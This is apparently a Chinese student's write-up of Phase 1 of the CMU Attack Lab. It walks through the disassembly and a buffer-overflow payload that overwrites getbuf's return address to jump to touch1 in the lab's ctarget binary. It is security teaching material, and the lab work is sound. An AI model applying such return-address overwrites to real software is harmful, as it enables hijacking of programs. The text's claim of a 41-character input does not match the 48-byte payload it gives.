目录
纸上得来终觉浅,绝知此事要躬行
实验概览
Attack!,成为一名黑客不正是我小时候的梦想吗?这个实验一定会很有趣。
CMU 对本实验的官方说明文档:http://csapp.cs.cmu.edu/3e/attacklab.pdf,按照 CMU 的文档一步步往下走就可以了。
Part 1: Code Injection Attacks
在第一部分中,我们要攻击的是ctarget
。利用缓冲区溢出,就是程序的栈中分配某个字符数组来保存一个字符串,而我们输入的字符串可以包含一些可执行代码的字节编码或者一个指向攻击代码的指针覆盖返回地址。那么就能直接实现直接攻击或者在执行ret
指令后跳转到攻击代码。
Phase 1
分析
首先给了test
函数的C语言代码:
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
这个函数调用了getbuf
函数,题目要求我们通过代码注入的方式使getbuf
执行结束后不返回到test
函数中,而是返回到touch1
函数。
touch1
的C语言代码如下:
void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
反汇编test
Dump of assembler code for function test:
0x0000000000401968 <+0>: sub $0x8,%rsp
0x000000000040196c <+4>: mov $0x0,%eax
0x0000000000401971 <+9>: callq 0x4017a8 <getbuf>
0x0000000000401976 <+14>: mov %eax,%edx
0x0000000000401978 <+16>: mov $0x403188,%esi
0x000000000040197d <+21>: mov $0x1,%edi
0x0000000000401982 <+26>: mov $0x0,%eax
0x0000000000401987 <+31>: callq 0x400df0 <__printf_chk@plt>
0x000000000040198c <+36>: add $0x8,%rsp
0x0000000000401990 <+40>: retq
End of assembler dump.
第2行分配栈帧,第4行调用getbuf
函数
反汇编getbuf
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
End of assembler dump.
分配了40个字节的栈帧,随后将栈顶位置作为参数调用Gets
函数,读入字符串。
此时,栈帧情况是这样的:(以8个字节为单位)
查到touch1
代码地址为:0x4017c0
由此就有了思路,我们只需要输入41个字符,前40个字节将getbuf
的栈空间填满,最后一个字节将返回值覆盖为0x4017c0
即touch1
的地址,这样,在getbuf
执行retq
指令后,程序就会跳转执行touch1
函数。
Solution
采用Write up
推荐方法,创建一个txt
文档存储输入。并按照HEX2RAW
工具的说明,在每个字节间用空格或回车隔开。
x86
采用小端存储,要注意输入字节的顺序
我们的输入为:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
执行命令:
./hex2raw < ctarget01.txt | ./ctarget -q
./hex2raw < ctarget01.txt
是利用hex2raw
工具将我们的输入看作字节级的十六进制表示进行转化,用来生成攻击字符串|
表示管道,将转化后的输入文件作为ctarget
的输入参数- 由于执行程序会默认连接 CMU 的服务器,
-q
表示取消这一连接
攻击成功!